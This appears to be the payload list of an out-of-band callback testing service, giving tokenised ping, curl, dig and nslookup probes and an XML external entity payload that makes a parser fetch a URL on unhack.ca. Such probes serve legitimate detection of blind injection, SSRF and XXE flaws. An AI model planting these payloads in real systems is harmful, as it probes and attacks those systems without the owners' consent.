$ ping -c1 -p 00147e55cfddbad3366505d494c34900 unhack.ca
 

$ curl http://unhack.ca/p/147e55cfddbad3366505d494c349
 

$ dig 147e55cfddbad3366505d494c349 @unhack.ca
 

$ dig 147e55cfddbad3366505d494c349.ns.unhack.ca
 

C:\> nslookup 147e55cfddbad3366505d494c349 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/147e55cfddbad3366505d494c349">]>
    <foo>&xxe;</foo>